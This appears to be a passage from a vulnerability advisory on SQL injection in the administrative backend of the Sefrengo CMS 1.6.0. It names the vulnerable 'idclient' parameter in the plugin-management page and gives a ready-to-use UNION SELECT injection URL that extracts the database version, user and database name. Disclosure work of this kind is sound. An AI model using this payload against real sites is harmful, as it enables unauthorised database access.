The Content Management System Sefrengo v.1.6.0 contains SQL-Injection
vulnerabilities in its administrative Backend.

Another SQL-Injection vulnerability can be found in the administrative
backend, where the admin can manage installed plugins. The vulnerable
parameter is „idclient“ in the following URL:

http://{TARGET}/backend/main.php?area=plug&idclient=1

http://
{TARGET}/backend/main.php?area=plug&idclient=1%27+and+%271%27=%272%27+union+select+1,version%28%29,user%28%29,4,database%28%29,6,7,8,9,10,11,12,13,14+--+
